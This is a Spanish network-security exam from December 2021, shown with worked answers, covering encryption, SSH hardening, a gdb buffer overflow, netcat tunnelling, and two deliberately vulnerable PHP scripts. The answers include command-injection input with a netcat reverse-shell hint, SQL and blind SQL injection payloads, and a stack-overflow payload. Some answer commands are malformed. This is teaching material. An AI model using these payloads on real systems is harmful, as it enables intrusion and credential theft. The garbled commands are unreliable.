Examen de Seguridad en Redes y Servicios (Diciembre 2021)

Duración 2h / Total 4 puntos / hacen falta 2 para aprobar

Pregunta 1 (0.25)

¿Que es lo que hace este comando?

```
$ openssl enc -d -a -aes-128-ecb -k aabbxx
```

☐ a) Firma digitalmente el mensaje de entrada usando la clave privada aabbxx cifrada con AES128

☐ b) Firma digitalmente el mensaje de entrada usando la clave publica aabbxx cifrada con AES128

☐ c) Cifra la entrada con AES128 en modo ECB usando como clave aabbxx y aplicando base64 a todo lo que saca

☐ d) Descifra la entrada con AES128 en modo ECB usando como clave aabbxx y decodificando la entrada en base64 antes de descifrar

Pregunta 2 (0.25)

Cuales de los siguientes son nombres de cifradores simétricos

☐ a) DES

☐ b) SHA256

☐ c) MD5

☐ d) RSA

☐ e) AES

Pregunta 3 (0.25)

Tenemos un servidor en la dirección IP 123.4.5.67 que únicamente escucha en el puerto 22 en el que existen varios usuarios. Los usuarios pueden elegir y cambiar su contraseña.

Un atacante remoto puede utilizar el siguiente software contra nosotros

```
$ hydra -L d1 -P d2 ssh://123.4.5.67
```

lista usuarios lista contraseñas

Indique varias formas con las que podemos proteger nuestro servidor contra dicho ataque

Setear las siguientes variables de configuración de ssh usando valores coherentes:

MaxStartups 1:50:2
Numero de reintentos : porcentaje de credenciales que se tiran a partir de esos intentos : número de intentos máximo hasta que ssh empieza a tirar todos los intentos de login.

LoginGraceTime 60
Cuanto tiempo se queda esperando a que el usuario introduzca la password (60 s).

MaxAuthTries 2
Número de reintentos permitidos antes de cerrar la conexión ssh.

Por úlimo, pero no menos importante, educar a los usuarios para que elijan bien las contraseñas, sobre todo las más importantes y cambiar las contraseñas cada cierto tiempo.

.

Pregunta 4 (0.25)

¿En cuales de estos métodos de autenticación un dispositivo con acceso a los paquetes enviados por la red puede ver la contraseña? (marque todos los que sean ciertos)

☐ a) Pidiendo la pagina http://xxx/conf.php que utiliza autenticación HTTPDigest

☐ b) Pidiendo la pagina http://xxx/conf.php que utiliza autenticación HTTPBasic

☐ c) Utilizando ppp con CHAP sobre paquetes UDP

☐ d) Pidiendo la pagina http://xxx/login.php?user=mikel&pass=42 con variables GET

☐ e) Utilizando ppp con PAP sobre paquetes UDP

☐ f) Pidiendo la pagina http://xxx/login.php con variables POST user y pass

Pregunta 5 (0.25)

Indique el nombre de algún detector de intrusiones basado en red (NIDS)

· SNORT

Pregunta 6 (0.25)

Ejecutamos lo siguiente en la consola del `gdb`:

```
(gdb) r < <(I=0; while [ $I -lt 50 ]; do printf "A"; I=$(($I+1)); done;
            printf "\x01\x02\x03\x04\n"; )
```

Si realmente queremos ir a esta dirección tendremos que ponerla al reves en

y supondremos que `\x01\x02\x03\x04` es la dirección a la que se desea saltar ya que hay una función llamada `execute_me` que me devuelve una terminal en `bash`.

En un breakpoint justo antes de un `ret` hacemos un info frame que nos devuelve lo siguiente:

```
Stack level 0, frame at 0xffffd180:
 eip = 0x8049bfc in funcion (bad1.c:23); saved eip = 0x20144141
 called by frame at 0xffffd184
 source language c.
 Arglist at 0xffffd178, args:
 Locals at 0xffffd178, Previous frame's sp is 0xffffd180
 Saved registers:
  ebx at 0xffffd174, ebp at 0xffffd178, eip at 0xffffd17c
(gdb)
```

Deberemos quitar 2

Si apareciese 0x1414141 tendríamos que quitar 3 Aes

Si apareciese 0x3020141 tendríamos que quitar 1 A

En estas circunstancias:

¿Que cambios mínimos debería hacer en mi script para conseguir saltar a la función que deseo?

(gdb) r < <(I =0; while [$I -lt 48]; do printf "A"; I = $ (($I +1)) ; done ; printf "\x04\ x03\ x02\ x01\ n ";)

.

Pregunta 7 (0.25)

Sabemos que un malware reciente instala un backdoor que escucha en un puerto TCP al azar en el rango 55000-56000. Indique el comando (o comandos) para escanear si nuestros servidores con direcciones 10.5.0.XX (con XX de 1 a 10) contesta en algún puerto de dicho rango.

```
i=1; while [ $i -le 10 ]; do nc -z -v -n 10.5.0.$i 55000-56000; i=$(($i + 1)); done;

Otra forma:

. nmap 10.5.0.1-10 -p 55000-56000
```

Pregunta 8 (0.25)

¿Cuales de los siguientes son tipos de ataques de ingeniería social?

☐ a) Phising

☐ b) Input validation

☐ c) Llamar a alguien diciendo que microsoft ha detectado que tiene un virus y que para borrarlo visite el enlace que le vas a decir

☐ d) Social SQL injection

☐ e) Buffer overflow

Pregunta 9 (0.5)

Como administrador de seguridad de una empresa (mywork.es) recibimos informacion de que nuestros empleados han recibido el siguiente mail

```
Vamos a ser comprados por Evilcorp que planea despedir a 1000 empleados
Para indicar que prefiere seguir contratado apuntese aqui

http://19.35.51.30:10080/mywork/nodespedir-formulario
```

En dicha pagina el formulario pide el usuario y contraseña de la cuenta de la empresa.

Indique que comandos haría para configurar/modificar el firewall de la empresa, basado en iptables de forma que nuestros usuarios no puedan llegar a dicha web

```
sudo iptables -A FORWARD --src 19.35.51.30 -j DROP ---> Tirar paquetes con origen 19.35.51.30
sudo iptables -A FORWARD --dst 19.35.51.30 -j DROP ---> Tirar paquetes con destino 19.35.51.30

.
```

¿Será suficiente para impedir que los usuarios sean engañados? ¿Que otras medidas podría tomar?

Añadir una política por defecto en la que por ejemplo se tiren todos los paquetes y posteriormente ir añadiendo las reglas que la empresa vea conveniente.

Por último, se debería educar a los empleados a cerca de los posibles ataques de ingeniería social y cómo actuar ante un ataque de este tipo.

.

Pregunta 10 (0.5)

Desde mi ordenador A(10.0.0.1) puedo hacer ssh a un servidor B(10.0.0.2) y desde este servidor puedo llegar a un servidor C(192.168.0.3) en el que hay un fichero `secretList.txt` que quiero transferir hasta mi ordenador, pero los servidores ssh tienen deshabilitado el scp/sftp.

Para conseguir el fichero me planteo seguir estos pasos

Posibilidad 1

```
En A dejo puesto un nc
A $ nc -l 10002 >secretList.txt

En otro terminal de A hago un ssh
A $ ssh 10.0.0.2
user@B pass: ****
B $ ssh -R 10001:10.0.0.1:10002 192.168.0.3
user@C pass: ****
C $ cat secretList.txt | nc 127.0.0.1 10001
```

Posibilidad 2

```
En A hago un ssh
A $ ssh -L 10003:192.168.0.3:10004 10.0.0.2
user@B pass: ****
B $ ssh 192.168.0.3
user@C pass: ****
C $ nc -l 10004 <secretList.txt

En otro terminal de A hago
A $ nc 127.0.0.1:10003 >secretList.txt
```

Las dos posibilidades hacen que el fichero se reciba en el ordenador A al parecer correctamente.

Indique si en cada una de esas posibilidades el fichero puede ser observado y copiado por alguien con acceso al tráfico de red.

En ambas posibilidades el fichero puede ser observado.
En la posibilidad 1 un intruso podría ver el fichero en el tráfico sin cifrar de A a B
En la posibilidad 2 un intruso podría ver el fichero en el tráfico sin cifrar de B a C.

.

Indique que opción elegiría o que comandos usaría para asegurarse de transferir el fichero sin que nadie en la red pueda verlo, utilizando únicamente `nc` y `ssh`. Si usa otros comandos es mas fácil pero la respuesta contará menos.

A $ nc -l -p 10003 > secretList.txt

A $ ssh 10.0.0.2 -R 10002:127.0.0.1:10003

B $ ssh 192.168.0.3 -R 10001:127.0.0.1:10002

C $ cat secretList.txt | nc 127.0.0.1 10001

A $ nc -l -p 10003 > secretList.txt

C $ ssh 10.0.0.2 -L 10001:127.0.0.1:10002

B $ ssh 10.0.0.1 -L 10002:127.0.0.1:10003

C $ cat secretList.txt | nc 127.0.0.1 10001

.

Pregunta 11 (0.5)

Tenemos el siguiente webservice en el fichero `showlog.php` que nos permite ver el contenido del log de un usuario indicado si nos autenticamos con la apikey

```
<?php
$theapikey='fortytwo';

$ikey=$_GET['key'];

if ( $ikey != $theapikey ) {
    die("key error");
}

if ( isset($_GET['user']) ) {
    $user=$_GET['user'];
    $thefile='userlog/'.$user.'.txt';
    system('cat '.$thefile);
} else {
    die("no user");
}
?>
```

Ejemplo de uso

```
$ curl 'http://server/showlog.php'
key error
$ curl 'http://server/showlog.php?key=fortytwo'
no user
$ curl 'http://server/showlog.php?key=fortytwo&user=bob'
2021-12-14 11:33 bob created
2021-12-15 15:23 bob logged in
```

Se ha sugerido que el programa tiene una vulnerabilidad de validación de entrada en el caso de que un usuario envie algo como

```
$ curl 'http://server/showlog.php?key=$theapikey'
```

¿Es eso cierto? Indique razonadamente todas las vulnerabilidades que tiene el programa anterior indicando ejemplos de como explotarlas

Poner $theapikey no generaría ningún problema, ya que devolvería "key error".

Problema:
si escribimos user=lalala ----> cat userlog/lalala.txt... no habría problema
pero si escribimos user=lalala;ls ----> cat userlog/lalala;ls entonces el system puede ejecutar el ls

Y si nos pueden hacer un ls tambien pueden hacer una reverse shell con nc -e /bin/bash ip puerto

.

Pregunta 12 (0.5)

Tenemos un servidor que dispone sólamente de un usuario valido con una password no hasheada guardada en una base de datos. Deseamos obtener esa credencial porque el usuario utiliza la misma password para su correo electrónico.

Sabemos que el código fuente de su web alojada en `genius.org` es el siguiente:

```
<?php
        $bd = new PDO("mysql:host=127.0.0.1;dbname=sdb", "dbuser", "goodp4ss");

        $PASS = $_GET['password'];

        $q = $bd->query("SELECT * FROM users WHERE password='".$PASS."'");

        if($datos = $q->fetch(PDO::FETCH_ASSOC)){
                echo "Hola admin.\n";
        }else{
                echo "Access denied.\n";
        }
?>
```

Sabiendo esto ¿Se puede obtener la clave en limpio del único usuario a través del sistema descrito anteriormente? Razone la respuesta y explique en caso de poderse, que habría que enviar dentro de la única variable de usuario del programa y cómo se procedería para obtener la contraseña.

Como podemos ver, la SQL Injection es obvia y con tan solo hacer un 1' OR '1'='1 ya deberíamos poder ver absolutamente todo lo que hay guardado en la tabla de users. Sin embargo, hay un problema y es que no podríamos verla debido a que no tenemos un echo o algo parecido que nos muestre la password por pantalla.

Por lo tanto, lo único que se me ocurre es ir probando caracteres hasta obtener la password haciendo uso de Blind SQL Injection.

El proceso sería el siguiente:

1' OR exists(SELECT 1 FROM users where password like 'a%' limit 1) AND '1'='1
1' OR exists(SELECT 1 FROM users where password like 'b%' limit 1) AND '1'='1
1' OR exists(SELECT 1 FROM users where password like 'c%' limit 1) AND '1'='1
...

1' OR exists(SELECT 1 FROM users where password like 'ca%' limit 1) AND '1'='1
1' OR exists(SELECT 1 FROM users where password like 'cb%' limit 1) AND '1'='1
1' OR exists(SELECT 1 FROM users where password like 'cc%' limit 1) AND '1'='1
...

y así hasta obtener la contraseña...

.